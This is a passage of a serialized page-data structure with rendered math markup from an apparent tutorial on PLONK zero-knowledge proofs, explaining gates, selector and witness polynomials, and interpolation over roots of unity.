190],[146816],{"type":29,"value":8744},{"type":24,"tag":147,"props":146818,"children":146820},{"className":146819},[27341],[146821],{"type":29,"value":8758},{"type":29,"value":146823}," on an elliptic curve, by e.g proving that ",{"type":24,"tag":80,"props":146825,"children":146827},{"className":146826},[9607,9608],[146828],{"type":24,"tag":147,"props":146829,"children":146831},{"className":146830},[9613],[146832],{"type":24,"tag":147,"props":146833,"children":146835},{"className":146834,"ariaHidden":9619},[9618],[146836,146898,146960],{"type":24,"tag":147,"props":146837,"children":146839},{"className":146838},[9624],[146840,146844,146885,146889,146894],{"type":24,"tag":147,"props":146841,"children":146843},{"className":146842,"style":128957},[9629],[],{"type":24,"tag":147,"props":146845,"children":146847},{"className":146846},[9635],[146848,146853],{"type":24,"tag":147,"props":146849,"children":146851},{"className":146850,"style":99116},[9635,27190],[146852],{"type":29,"value":8744},{"type":24,"tag":147,"props":146854,"children":146856},{"className":146855},[9650],[146857],{"type":24,"tag":147,"props":146858,"children":146860},{"className":146859},[9655],[146861],{"type":24,"tag":147,"props":146862,"children":146864},{"className":146863},[9660],[146865],{"type":24,"tag":147,"props":146866,"children":146868},{"className":146867,"style":9630},[9665],[146869],{"type":24,"tag":147,"props":146870,"children":146871},{"style":9669},[146872,146876],{"type":24,"tag":147,"props":146873,"children":146875},{"className":146874,"style":9675},[9674],[],{"type":24,"tag":147,"props":146877,"children":146879},{"className":146878},[9680,9681,9682,9683],[146880],{"type":24,"tag":147,"props":146881,"children":146883},{"className":146882},[9635,9683],[146884],{"type":29,"value":8753},{"type":24,"tag":147,"props":146886,"children":146888},{"className":146887,"style":9812},[9714],[],{"type":24,"tag":147,"props":146890,"children":146892},{"className":146891},[9817],[146893],{"type":29,"value":369},{"type":24,"tag":147,"props":146895,"children":146897},{"className":146896,"style":9812},[9714],[],{"type":24,"tag":147,"props":146899,"children":146901},{"className":146900},[9624],[146902,146906,146947,146951,146956],{"type":24,"tag":147,"props":146903,"children":146905},{"className":146904,"style":128832},[9629],[],{"type":24,"tag":147,"props":146907,"children":146909},{"className":146908},[9635],[146910,146915],{"type":24,"tag":147,"props":146911,"children":146913},{"className":146912},[9635,27190],[146914],{"type":29,"value":24880},{"type":24,"tag":147,"props":146916,"children":146918},{"className":146917},[9650],[146919],{"type":24,"tag":147,"props":146920,"children":146922},{"className":146921},[9655],[146923],{"type":24,"tag":147,"props":146924,"children":146926},{"className":146925},[9660],[146927],{"type":24,"tag":147,"props":146928,"children":146930},{"className":146929,"style":9630},[9665],[146931],{"type":24,"tag":147,"props":146932,"children":146933},{"style":9669},[146934,146938],{"type":24,"tag":147,"props":146935,"children":146937},{"className":146936,"style":9675},[9674],[],{"type":24,"tag":147,"props":146939,"children":146941},{"className":146940},[9680,9681,9682,9683],[146942],{"type":24,"tag":147,"props":146943,"children":146945},{"className":146944},[9635,9683],[146946],{"type":29,"value":22901},{"type":24,"tag":147,"props":146948,"children":146950},{"className":146949,"style":9715},[9714],[],{"type":24,"tag":147,"props":146952,"children":146954},{"className":146953},[9720],[146955],{"type":29,"value":624},{"type":24,"tag":147,"props":146957,"children":146959},{"className":146958,"style":9715},[9714],[],{"type":24,"tag":147,"props":146961,"children":146963},{"className":146962},[9624],[146964,146968],{"type":24,"tag":147,"props":146965,"children":146967},{"className":146966,"style":99661},[9629],[],{"type":24,"tag":147,"props":146969,"children":146971},{"className":146970},[9635],[146972],{"type":29,"value":60260},{"type":29,"value":146974},", here in ",{"type":24,"tag":80,"props":146976,"children":146978},{"className":146977},[9607,9608],[146979],{"type":24,"tag":147,"props":146980,"children":146982},{"className":146981},[9613],[146983],{"type":24,"tag":147,"props":146984,"children":146986},{"className":146985,"ariaHidden":9619},[9618],[146987],{"type":24,"tag":147,"props":146988,"children":146990},{"className":146989},[9624],[146991,146996],{"type":24,"tag":147,"props":146992,"children":146995},{"className":146993,"style":146994},[9629],"height:0.8389em;vertical-align:-0.15em;",[],{"type":24,"tag":147,"props":146997,"children":146999},{"className":146998},[9635],[147000,147005],{"type":24,"tag":147,"props":147001,"children":147003},{"className":147002},[9635,127395],[147004],{"type":29,"value":127398},{"type":24,"tag":147,"props":147006,"children":147008},{"className":147007},[9650],[147009],{"type":24,"tag":147,"props":147010,"children":147012},{"className":147011},[9655,27244],[147013,147047],{"type":24,"tag":147,"props":147014,"children":147016},{"className":147015},[9660],[147017,147042],{"type":24,"tag":147,"props":147018,"children":147020},{"className":147019,"style":98682},[9665],[147021],{"type":24,"tag":147,"props":147022,"children":147023},{"style":98686},[147024,147028],{"type":24,"tag":147,"props":147025,"children":147027},{"className":147026,"style":9675},[9674],[],{"type":24,"tag":147,"props":147029,"children":147031},{"className":147030},[9680,9681,9682,9683],[147032],{"type":24,"tag":147,"props":147033,"children":147035},{"className":147034},[9635,9683],[147036],{"type":24,"tag":147,"props":147037,"children":147039},{"className":147038},[9635,9683],[147040],{"type":29,"value":147041},"37",{"type":24,"tag":147,"props":147043,"children":147045},{"className":147044},[27347],[147046],{"type":29,"value":27350},{"type":24,"tag":147,"props":147048,"children":147050},{"className":147049},[9660],[147051],{"type":24,"tag":147,"props":147052,"children":147054},{"className":147053,"style":98713},[9665],[147055],{"type":24,"tag":147,"props":147056,"children":147057},{},[],{"type":29,"value":87},{"type":24,"tag":147060,"props":147061,"children":147062},"arithmetic-circuit-widget",{},[],{"type":24,"tag":25,"props":147064,"children":147065},{},[147066,147068,147094,147096,147175,147177,147254,147256,147333],{"type":29,"value":147067},"Each gate ",{"type":24,"tag":80,"props":147069,"children":147071},{"className":147070},[9607,9608],[147072],{"type":24,"tag":147,"props":147073,"children":147075},{"className":147074},[9613],[147076],{"type":24,"tag":147,"props":147077,"children":147079},{"className":147078,"ariaHidden":9619},[9618],[147080],{"type":24,"tag":147,"props":147081,"children":147083},{"className":147082},[9624],[147084,147089],{"type":24,"tag":147,"props":147085,"children":147088},{"className":147086,"style":147087},[9629],"height:0.6595em;",[],{"type":24,"tag":147,"props":147090,"children":147092},{"className":147091},[9635,27190],[147093],{"type":29,"value":9363},{"type":29,"value":147095}," has a left input ",{"type":24,"tag":80,"props":147097,"children":147099},{"className":147098},[9607,9608],[147100],{"type":24,"tag":147,"props":147101,"children":147103},{"className":147102},[9613],[147104],{"type":24,"tag":147,"props":147105,"children":147107},{"className":147106,"ariaHidden":9619},[9618],[147108],{"type":24,"tag":147,"props":147109,"children":147111},{"className":147110},[9624],[147112,147117],{"type":24,"tag":147,"props":147113,"children":147116},{"className":147114,"style":147115},[9629],"height:0.8444em;vertical-align:-0.15em;",[],{"type":24,"tag":147,"props":147118,"children":147120},{"className":147119},[9635],[147121,147126],{"type":24,"tag":147,"props":147122,"children":147124},{"className":147123,"style":98642},[9635,27190],[147125],{"type":29,"value":98645},{"type":24,"tag":147,"props":147127,"children":147129},{"className":147128},[9650],[147130],{"type":24,"tag":147,"props":147131,"children":147133},{"className":147132},[9655,27244],[147134,147164],{"type":24,"tag":147,"props":147135,"children":147137},{"className":147136},[9660],[147138,147159],{"type":24,"tag":147,"props":147139,"children":147141},{"className":147140,"style":99159},[9665],[147142],{"type":24,"tag":147,"props":147143,"children":147145},{"style":147144},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[147146,147150],{"type":24,"tag":147,"props":147147,"children":147149},{"className":147148,"style":9675},[9674],[],{"type":24,"tag":147,"props":147151,"children":147153},{"className":147152},[9680,9681,9682,9683],[147154],{"type":24,"tag":147,"props":147155,"children":147157},{"className":147156},[9635,27190,9683],[147158],{"type":29,"value":9363},{"type":24,"tag":147,"props":147160,"children":147162},{"className":147161},[27347],[147163],{"type":29,"value":27350},{"type":24,"tag":147,"props":147165,"children":147167},{"className":147166},[9660],[147168],{"type":24,"tag":147,"props":147169,"children":147171},{"className":147170,"style":98713},[9665],[147172],{"type":24,"tag":147,"props":147173,"children":147174},{},[],{"type":29,"value":147176},", right input ",{"type":24,"tag":80,"props":147178,"children":147180},{"className":147179},[9607,9608],[147181],{"type":24,"tag":147,"props":147182,"children":147184},{"className":147183},[9613],[147185],{"type":24,"tag":147,"props":147186,"children":147188},{"className":147187,"ariaHidden":9619},[9618],[147189],{"type":24,"tag":147,"props":147190,"children":147192},{"className":147191},[9624],[147193,147197],{"type":24,"tag":147,"props":147194,"children":147196},{"className":147195,"style":115591},[9629],[],{"type":24,"tag":147,"props":147198,"children":147200},{"className":147199},[9635],[147201,147206],{"type":24,"tag":147,"props":147202,"children":147204},{"className":147203,"style":98630},[9635,27190],[147205],{"type":29,"value":99449},{"type":24,"tag":147,"props":147207,"children":147209},{"className":147208},[9650],[147210],{"type":24,"tag":147,"props":147211,"children":147213},{"className":147212},[9655,27244],[147214,147243],{"type":24,"tag":147,"props":147215,"children":147217},{"className":147216},[9660],[147218,147238],{"type":24,"tag":147,"props":147219,"children":147221},{"className":147220,"style":99159},[9665],[147222],{"type":24,"tag":147,"props":147223,"children":147224},{"style":115620},[147225,147229],{"type":24,"tag":147,"props":147226,"children":147228},{"className":147227,"style":9675},[9674],[],{"type":24,"tag":147,"props":147230,"children":147232},{"className":147231},[9680,9681,9682,9683],[147233],{"type":24,"tag":147,"props":147234,"children":147236},{"className":147235},[9635,27190,9683],[147237],{"type":29,"value":9363},{"type":24,"tag":147,"props":147239,"children":147241},{"className":147240},[27347],[147242],{"type":29,"value":27350},{"type":24,"tag":147,"props":147244,"children":147246},{"className":147245},[9660],[147247],{"type":24,"tag":147,"props":147248,"children":147250},{"className":147249,"style":98713},[9665],[147251],{"type":24,"tag":147,"props":147252,"children":147253},{},[],{"type":29,"value":147255},", and output ",{"type":24,"tag":80,"props":147257,"children":147259},{"className":147258},[9607,9608],[147260],{"type":24,"tag":147,"props":147261,"children":147263},{"className":147262},[9613],[147264],{"type":24,"tag":147,"props":147265,"children":147267},{"className":147266,"ariaHidden":9619},[9618],[147268],{"type":24,"tag":147,"props":147269,"children":147271},{"className":147270},[9624],[147272,147276],{"type":24,"tag":147,"props":147273,"children":147275},{"className":147274,"style":115591},[9629],[],{"type":24,"tag":147,"props":147277,"children":147279},{"className":147278},[9635],[147280,147285],{"type":24,"tag":147,"props":147281,"children":147283},{"className":147282},[9635,27190],[147284],{"type":29,"value":98600},{"type":24,"tag":147,"props":147286,"children":147288},{"className":147287},[9650],[147289],{"type":24,"tag":147,"props":147290,"children":147292},{"className":147291},[9655,27244],[147293,147322],{"type":24,"tag":147,"props":147294,"children":147296},{"className":147295},[9660],[147297,147317],{"type":24,"tag":147,"props":147298,"children":147300},{"className":147299,"style":99159},[9665],[147301],{"type":24,"tag":147,"props":147302,"children":147303},{"style":98686},[147304,147308],{"type":24,"tag":147,"props":147305,"children":147307},{"className":147306,"style":9675},[9674],[],{"type":24,"tag":147,"props":147309,"children":147311},{"className":147310},[9680,9681,9682,9683],[147312],{"type":24,"tag":147,"props":147313,"children":147315},{"className":147314},[9635,27190,9683],[147316],{"type":29,"value":9363},{"type":24,"tag":147,"props":147318,"children":147320},{"className":147319},[27347],[147321],{"type":29,"value":27350},{"type":24,"tag":147,"props":147323,"children":147325},{"className":147324},[9660],[147326],{"type":24,"tag":147,"props":147327,"children":147329},{"className":147328,"style":98713},[9665],[147330],{"type":24,"tag":147,"props":147331,"children":147332},{},[],{"type":29,"value":147334},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":24,"tag":25,"props":147336,"children":147337},{},[147338,147340,147345,147347,147451,147453,147556,147558,147563],{"type":29,"value":147339},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":24,"tag":8545,"props":147341,"children":147342},{},[147343],{"type":29,"value":147344},"selector",{"type":29,"value":147346}," values that act as switches: setting ",{"type":24,"tag":80,"props":147348,"children":147350},{"className":147349},[9607,9608],[147351],{"type":24,"tag":147,"props":147352,"children":147354},{"className":147353},[9613],[147355],{"type":24,"tag":147,"props":147356,"children":147358},{"className":147357,"ariaHidden":9619},[9618],[147359,147438],{"type":24,"tag":147,"props":147360,"children":147362},{"className":147361},[9624],[147363,147367,147425,147429,147434],{"type":24,"tag":147,"props":147364,"children":147366},{"className":147365,"style":115511},[9629],[],{"type":24,"tag":147,"props":147368,"children":147370},{"className":147369},[9635],[147371,147376],{"type":24,"tag":147,"props":147372,"children":147374},{"className":147373,"style":99116},[9635,27190],[147375],{"type":29,"value":99119},{"type":24,"tag":147,"props":147377,"children":147379},{"className":147378},[9650],[147380],{"type":24,"tag":147,"props":147381,"children":147383},{"className":147382},[9655,27244],[147384,147414],{"type":24,"tag":147,"props":147385,"children":147387},{"className":147386},[9660],[147388,147409],{"type":24,"tag":147,"props":147389,"children":147392},{"className":147390,"style":147391},[9665],"height:0.3283em;",[147393],{"type":24,"tag":147,"props":147394,"children":147395},{"style":99163},[147396,147400],{"type":24,"tag":147,"props":147397,"children":147399},{"className":147398,"style":9675},[9674],[],{"type":24,"tag":147,"props":147401,"children":147403},{"className":147402},[9680,9681,9682,9683],[147404],{"type":24,"tag":147,"props":147405,"children":147407},{"className":147406,"style":100638},[9635,27190,9683],[147408],{"type":29,"value":100641},{"type":24,"tag":147,"props":147410,"children":147412},{"className":147411},[27347],[147413],{"type":29,"value":27350},{"type":24,"tag":147,"props":147415,"children":147417},{"className":147416},[9660],[147418],{"type":24,"tag":147,"props":147419,"children":147421},{"className":147420,"style":98713},[9665],[147422],{"type":24,"tag":147,"props":147423,"children":147424},{},[],{"type":24,"tag":147,"props":147426,"children":147428},{"className":147427,"style":9812},[9714],[],{"type":24,"tag":147,"props":147430,"children":147432},{"className":147431},[9817],[147433],{"type":29,"value":369},{"type":24,"tag":147,"props":147435,"children":147437},{"className":147436,"style":9812},[9714],[],{"type":24,"tag":147,"props":147439,"children":147441},{"className":147440},[9624],[147442,147446],{"type":24,"tag":147,"props":147443,"children":147445},{"className":147444,"style":99661},[9629],[],{"type":24,"tag":147,"props":147447,"children":147449},{"className":147448},[9635],[147450],{"type":29,"value":1154},{"type":29,"value":147452}," makes a row a multiplication gate, setting ",{"type":24,"tag":80,"props":147454,"children":147456},{"className":147455},[9607,9608],[147457],{"type":24,"tag":147,"props":147458,"children":147460},{"className":147459},[9613],[147461],{"type":24,"tag":147,"props":147462,"children":147464},{"className":147463,"ariaHidden":9619},[9618],[147465,147543],{"type":24,"tag":147,"props":147466,"children":147468},{"className":147467},[9624],[147469,147473,147530,147534,147539],{"type":24,"tag":147,"props":147470,"children":147472},{"className":147471,"style":115511},[9629],[],{"type":24,"tag":147,"props":147474,"children":147476},{"className":147475},[9635],[147477,147482],{"type":24,"tag":147,"props":147478,"children":147480},{"className":147479,"style":99116},[9635,27190],[147481],{"type":29,"value":99119},{"type":24,"tag":147,"props":147483,"children":147485},{"className":147484},[9650],[147486],{"type":24,"tag":147,"props":147487,"children":147489},{"className":147488},[9655,27244],[147490,147519],{"type":24,"tag":147,"props":147491,"children":147493},{"className":147492},[9660],[147494,147514],{"type":24,"tag":147,"props":147495,"children":147497},{"className":147496,"style":147391},[9665],[147498],{"type":24,"tag":147,"props":147499,"children":147500},{"style":99163},[147501,147505],{"type":24,"tag":147,"props":147502,"children":147504},{"className":147503,"style":9675},[9674],[],{"type":24,"tag":147,"props":147506,"children":147508},{"className":147507},[9680,9681,9682,9683],[147509],{"type":24,"tag":147,"props":147510,"children":147512},{"className":147511},[9635,27190,9683],[147513],{"type":29,"value":123584},{"type":24,"tag":147,"props":147515,"children":147517},{"className":147516},[27347],[147518],{"type":29,"value":27350},{"type":24,"tag":147,"props":147520,"children":147522},{"className":147521},[9660],[147523],{"type":24,"tag":147,"props":147524,"children":147526},{"className":147525,"style":98713},[9665],[147527],{"type":24,"tag":147,"props":147528,"children":147529},{},[],{"type":24,"tag":147,"props":147531,"children":147533},{"className":147532,"style":9812},[9714],[],{"type":24,"tag":147,"props":147535,"children":147537},{"className":147536},[9817],[147538],{"type":29,"value":369},{"type":24,"tag":147,"props":147540,"children":147542},{"className":147541,"style":9812},[9714],[],{"type":24,"tag":147,"props":147544,"children":147546},{"className":147545},[9624],[147547,147551],{"type":24,"tag":147,"props":147548,"children":147550},{"className":147549,"style":99661},[9629],[],{"type":24,"tag":147,"props":147552,"children":147554},{"className":147553},[9635],[147555],{"type":29,"value":1154},{"type":29,"value":147557}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":24,"tag":8545,"props":147559,"children":147560},{},[147561],{"type":29,"value":147562},"permutation argument",{"type":29,"value":147564}," for that, which we will not cover here.",{"type":24,"tag":43,"props":147566,"children":147568},{"id":147567},"from-many-checks-to-one",[147569],{"type":29,"value":147570},"From many checks to one",{"type":24,"tag":25,"props":147572,"children":147573},{},[147574,147576,147581,147582,147674,147675,147767,147768,147860,147862,147867,147868,147960,147961,148053,148055,148080,148082,148107,148109,148201,148203,148228,148230,148255],{"type":29,"value":147575},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":24,"tag":8545,"props":147577,"children":147578},{},[147579],{"type":29,"value":147580},"witness polynomials",{"type":29,"value":12083},{"type":24,"tag":80,"props":147583,"children":147585},{"className":147584},[9607,9608],[147586],{"type":24,"tag":147,"props":147587,"children":147589},{"className":147588},[9613],[147590],{"type":24,"tag":147,"props":147591,"children":147593},{"className":147592,"ariaHidden":9619},[9618],[147594],{"type":24,"tag":147,"props":147595,"children":147597},{"className":147596},[9624],[147598,147602,147659,147664,147669],{"type":24,"tag":147,"props":147599,"children":147601},{"className":147600,"style":9735},[9629],[],{"type":24,"tag":147,"props":147603,"children":147605},{"className":147604},[9635],[147606,147611],{"type":24,"tag":147,"props":147607,"children":147609},{"className":147608,"style":100984},[9635,27190],[147610],{"type":29,"value":6999},{"type":24,"tag":147,"props":147612,"children":147614},{"className":147613},[9650],[147615],{"type":24,"tag":147,"props":147616,"children":147618},{"className":147617},[9655,27244],[147619,147648],{"type":24,"tag":147,"props":147620,"children":147622},{"className":147621},[9660],[147623,147643],{"type":24,"tag":147,"props":147624,"children":147626},{"className":147625,"style":147391},[9665],[147627],{"type":24,"tag":147,"props":147628,"children":147629},{"style":101005},[147630,147634],{"type":24,"tag":147,"props":147631,"children":147633},{"className":147632,"style":9675},[9674],[],{"type":24,"tag":147,"props":147635,"children":147637},{"className":147636},[9680,9681,9682,9683],[147638],{"type":24,"tag":147,"props":147639,"children":147641},{"className":147640},[9635,27190,9683],[147642],{"type":29,"value":123584},{"type":24,"tag":147,"props":147644,"children":147646},{"className":147645},[27347],[147647],{"type":29,"value":27350},{"type":24,"tag":147,"props":147649,"children":147651},{"className":147650},[9660],[147652],{"type":24,"tag":147,"props":147653,"children":147655},{"className":147654,"style":98713},[9665],[147656],{"type":24,"tag":147,"props":147657,"children":147658},{},[],{"type":24,"tag":147,"props":147660,"children":147662},{"className":147661},[27319],[147663],{"type":29,"value":480},{"type":24,"tag":147,"props":147665,"children":147667},{"className":147666},[9635,27190],[147668],{"type":29,"value":24880},{"type":24,"tag":147,"props":147670,"children":147672},{"className":147671},[27341],[147673],{"type":29,"value":8758},{"type":29,"value":546},{"type":24,"tag":80,"props":147676,"children":147678},{"className":147677},[9607,9608],[147679],{"type":24,"tag":147,"props":147680,"children":147682},{"className":147681},[9613],[147683],{"type":24,"tag":147,"props":147684,"children":147686},{"className":147685,"ariaHidden":9619},[9618],[147687],{"type":24,"tag":147,"props":147688,"children":147690},{"className":147689},[9624],[147691,147695,147752,147757,147762],{"type":24,"tag":147,"props":147692,"children":147694},{"className":147693,"style":9735},[9629],[],{"type":24,"tag":147,"props":147696,"children":147698},{"className":147697},[9635],[147699,147704],{"type":24,"tag":147,"props":147700,"children":147702},{"className":147701,"style":100984},[9635,27190],[147703],{"type":29,"value":6999},{"type":24,"tag":147,"props":147705,"children":147707},{"className":147706},[9650],[147708],{"type":24,"tag":147,"props":147709,"children":147711},{"className":147710},[9655,27244],[147712,147741],{"type":24,"tag":147,"props":147713,"children":147715},{"className":147714},[9660],[147716,147736],{"type":24,"tag":147,"props":147717,"children":147719},{"className":147718,"style":147391},[9665],[147720],{"type":24,"tag":147,"props":147721,"children":147722},{"style":101005},[147723,147727],{"type":24,"tag":147,"props":147724,"children":147726},{"className":147725,"style":9675},[9674],[],{"type":24,"tag":147,"props":147728,"children":147730},{"className":147729},[9680,9681,9682,9683],[147731],{"type":24,"tag":147,"props":147732,"children":147734},{"className":147733,"style":128397},[9635,27190,9683],[147735],{"type":29,"value":128400},{"type":24,"tag":147,"props":147737,"children":147739},{"className":147738},[27347],[147740],{"type":29,"value":27350},{"type":24,"tag":147,"props":147742,"children":147744},{"className":147743},[9660],[147745],{"type":24,"tag":147,"props":147746,"children":147748},{"className":147747,"style":98713},[9665],[147749],{"type":24,"tag":147,"props":147750,"children":147751},{},[],{"type":24,"tag":147,"props":147753,"children":147755},{"className":147754},[27319],[147756],{"type":29,"value":480},{"type":24,"tag":147,"props":147758,"children":147760},{"className":147759},[9635,27190],[147761],{"type":29,"value":24880},{"type":24,"tag":147,"props":147763,"children":147765},{"className":147764},[27341],[147766],{"type":29,"value":8758},{"type":29,"value":546},{"type":24,"tag":80,"props":147769,"children":147771},{"className":147770},[9607,9608],[147772],{"type":24,"tag":147,"props":147773,"children":147775},{"className":147774},[9613],[147776],{"type":24,"tag":147,"props":147777,"children":147779},{"className":147778,"ariaHidden":9619},[9618],[147780],{"type":24,"tag":147,"props":147781,"children":147783},{"className":147782},[9624],[147784,147788,147845,147850,147855],{"type":24,"tag":147,"props":147785,"children":147787},{"className":147786,"style":9735},[9629],[],{"type":24,"tag":147,"props":147789,"children":147791},{"className":147790},[9635],[147792,147797],{"type":24,"tag":147,"props":147793,"children":147795},{"className":147794,"style":100984},[9635,27190],[147796],{"type":29,"value":6999},{"type":24,"tag":147,"props":147798,"children":147800},{"className":147799},[9650],[147801],{"type":24,"tag":147,"props":147802,"children":147804},{"className":147803},[9655,27244],[147805,147834],{"type":24,"tag":147,"props":147806,"children":147808},{"className":147807},[9660],[147809,147829],{"type":24,"tag":147,"props":147810,"children":147812},{"className":147811,"style":147391},[9665],[147813],{"type":24,"tag":147,"props":147814,"children":147815},{"style":101005},[147816,147820],{"type":24,"tag":147,"props":147817,"children":147819},{"className":147818,"style":9675},[9674],[],{"type":24,"tag":147,"props":147821,"children":147823},{"className":147822},[9680,9681,9682,9683],[147824],{"type":24,"tag":147,"props":147825,"children":147827},{"className":147826,"style":98630},[9635,27190,9683],[147828],{"type":29,"value":120939},{"type":24,"tag":147,"props":147830,"children":147832},{"className":147831},[27347],[147833],{"type":29,"value":27350},{"type":24,"tag":147,"props":147835,"children":147837},{"className":147836},[9660],[147838],{"type":24,"tag":147,"props":147839,"children":147841},{"className":147840,"style":98713},[9665],[147842],{"type":24,"tag":147,"props":147843,"children":147844},{},[],{"type":24,"tag":147,"props":147846,"children":147848},{"className":147847},[27319],[147849],{"type":29,"value":480},{"type":24,"tag":147,"props":147851,"children":147853},{"className":147852},[9635,27190],[147854],{"type":29,"value":24880},{"type":24,"tag":147,"props":147856,"children":147858},{"className":147857},[27341],[147859],{"type":29,"value":8758},{"type":29,"value":147861}," and the selectors become ",{"type":24,"tag":8545,"props":147863,"children":147864},{},[147865],{"type":29,"value":147866},"selector polynomials",{"type":29,"value":12083},{"type":24,"tag":80,"props":147869,"children":147871},{"className":147870},[9607,9608],[147872],{"type":24,"tag":147,"props":147873,"children":147875},{"className":147874},[9613],[147876],{"type":24,"tag":147,"props":147877,"children":147879},{"className":147878,"ariaHidden":9619},[9618],[147880],{"type":24,"tag":147,"props":147881,"children":147883},{"className":147882},[9624],[147884,147888,147945,147950,147955],{"type":24,"tag":147,"props":147885,"children":147887},{"className":147886,"style":9735},[9629],[],{"type":24,"tag":147,"props":147889,"children":147891},{"className":147890},[9635],[147892,147897],{"type":24,"tag":147,"props":147893,"children":147895},{"className":147894},[9635,27190],[147896],{"type":29,"value":82386},{"type":24,"tag":147,"props":147898,"children":147900},{"className":147899},[9650],[147901],{"type":24,"tag":147,"props":147902,"children":147904},{"className":147903},[9655,27244],[147905,147934],{"type":24,"tag":147,"props":147906,"children":147908},{"className":147907},[9660],[147909,147929],{"type":24,"tag":147,"props":147910,"children":147912},{"className":147911,"style":147391},[9665],[147913],{"type":24,"tag":147,"props":147914,"children":147915},{"style":98686},[147916,147920],{"type":24,"tag":147,"props":147917,"children":147919},{"className":147918,"style":9675},[9674],[],{"type":24,"tag":147,"props":147921,"children":147923},{"className":147922},[9680,9681,9682,9683],[147924],{"type":24,"tag":147,"props":147925,"children":147927},{"className":147926,"style":100638},[9635,27190,9683],[147928],{"type":29,"value":100641},{"type":24,"tag":147,"props":147930,"children":147932},{"className":147931},[27347],[147933],{"type":29,"value":27350},{"type":24,"tag":147,"props":147935,"children":147937},{"className":147936},[9660],[147938],{"type":24,"tag":147,"props":147939,"children":147941},{"className":147940,"style":98713},[9665],[147942],{"type":24,"tag":147,"props":147943,"children":147944},{},[],{"type":24,"tag":147,"props":147946,"children":147948},{"className":147947},[27319],[147949],{"type":29,"value":480},{"type":24,"tag":147,"props":147951,"children":147953},{"className":147952},[9635,27190],[147954],{"type":29,"value":24880},{"type":24,"tag":147,"props":147956,"children":147958},{"className":147957},[27341],[147959],{"type":29,"value":8758},{"type":29,"value":546},{"type":24,"tag":80,"props":147962,"children":147964},{"className":147963},[9607,9608],[147965],{"type":24,"tag":147,"props":147966,"children":147968},{"className":147967},[9613],[147969],{"type":24,"tag":147,"props":147970,"children":147972},{"className":147971,"ariaHidden":9619},[9618],[147973],{"type":24,"tag":147,"props":147974,"children":147976},{"className":147975},[9624],[147977,147981,148038,148043,148048],{"type":24,"tag":147,"props":147978,"children":147980},{"className":147979,"style":9735},[9629],[],{"type":24,"tag":147,"props":147982,"children":147984},{"className":147983},[9635],[147985,147990],{"type":24,"tag":147,"props":147986,"children":147988},{"className":147987},[9635,27190],[147989],{"type":29,"value":82386},{"type":24,"tag":147,"props":147991,"children":147993},{"className":147992},[9650],[147994],{"type":24,"tag":147,"props":147995,"children":147997},{"className":147996},[9655,27244],[147998,148027],{"type":24,"tag":147,"props":147999,"children":148001},{"className":148000},[9660],[148002,148022],{"type":24,"tag":147,"props":148003,"children":148005},{"className":148004,"style":147391},[9665],[148006],{"type":24,"tag":147,"props":148007,"children":148008},{"style":98686},[148009,148013],{"type":24,"tag":147,"props":148010,"children":148012},{"className":148011,"style":9675},[9674],[],{"type":24,"tag":147,"props":148014,"children":148016},{"className":148015},[9680,9681,9682,9683],[148017],{"type":24,"tag":147,"props":148018,"children":148020},{"className":148019},[9635,27190,9683],[148021],{"type":29,"value":123584},{"type":24,"tag":147,"props":148023,"children":148025},{"className":148024},[27347],[148026],{"type":29,"value":27350},{"type":24,"tag":147,"props":148028,"children":148030},{"className":148029},[9660],[148031],{"type":24,"tag":147,"props":148032,"children":148034},{"className":148033,"style":98713},[9665],[148035],{"type":24,"tag":147,"props":148036,"children":148037},{},[],{"type":24,"tag":147,"props":148039,"children":148041},{"className":148040},[27319],[148042],{"type":29,"value":480},{"type":24,"tag":147,"props":148044,"children":148046},{"className":148045},[9635,27190],[148047],{"type":29,"value":24880},{"type":24,"tag":147,"props":148049,"children":148051},{"className":148050},[27341],[148052],{"type":29,"value":8758},{"type":29,"value":148054},", etc., all interpolated over a domain ",{"type":24,"tag":80,"props":148056,"children":148058},{"className":148057},[9607,9608],[148059],{"type":24,"tag":147,"props":148060,"children":148062},{"className":148061},[9613],[148063],{"type":24,"tag":147,"props":148064,"children":148066},{"className":148065,"ariaHidden":9619},[9618],[148067],{"type":24,"tag":147,"props":148068,"children":148070},{"className":148069},[9624],[148071,148075],{"type":24,"tag":147,"props":148072,"children":148074},{"className":148073,"style":27185},[9629],[],{"type":24,"tag":147,"props":148076,"children":148078},{"className":148077,"style":98864},[9635,27190],[148079],{"type":29,"value":98867},{"type":29,"value":148081}," of ",{"type":24,"tag":80,"props":148083,"children":148085},{"className":148084},[9607,9608],[148086],{"type":24,"tag":147,"props":148087,"children":148089},{"className":148088},[9613],[148090],{"type":24,"tag":147,"props":148091,"children":148093},{"className":148092,"ariaHidden":9619},[9618],[148094],{"type":24,"tag":147,"props":148095,"children":148097},{"className":148096},[9624],[148098,148102],{"type":24,"tag":147,"props":148099,"children":148101},{"className":148100,"style":116462},[9629],[],{"type":24,"tag":147,"props":148103,"children":148105},{"className":148104},[9635,27190],[148106],{"type":29,"value":61991},{"type":29,"value":148108},"-th roots of unity. Evaluating ",{"type":24,"tag":80,"props":148110,"children":148112},{"className":148111},[9607,9608],[148113],{"type":24,"tag":147,"props":148114,"children":148116},{"className":148115},[9613],[148117],{"type":24,"tag":147,"props":148118,"children":148120},{"className":148119,"ariaHidden":9619},[9618],[148121],{"type":24,"tag":147,"props":148122,"children":148124},{"className":148123},[9624],[148125,148129,148186,148191,148196],{"type":24,"tag":147,"props":148126,"children":148128},{"className":148127,"style":9735},[9629],[],{"type":24,"tag":147,"props":148130,"children":148132},{"className":148131},[9635],[148133,148138],{"type":24,"tag":147,"props":148134,"children":148136},{"className":148135,"style":100984},[9635,27190],[148137],{"type":29,"value":6999},{"type":24,"tag":147,"props":148139,"children":148141},{"className":148140},[9650],[148142],{"type":24,"tag":147,"props":148143,"children":148145},{"className":148144},[9655,27244],[148146,148175],{"type":24,"tag":147,"props":148147,"children":148149},{"className":148148},[9660],[148150,148170],{"type":24,"tag":147,"props":148151,"children":148153},{"className":148152,"style":147391},[9665],[148154],{"type":24,"tag":147,"props":148155,"children":148156},{"style":101005},[148157,148161],{"type":24,"tag":147,"props":148158,"children":148160},{"className":148159,"style":9675},[9674],[],{"type":24,"tag":147,"props":148162,"children":148164},{"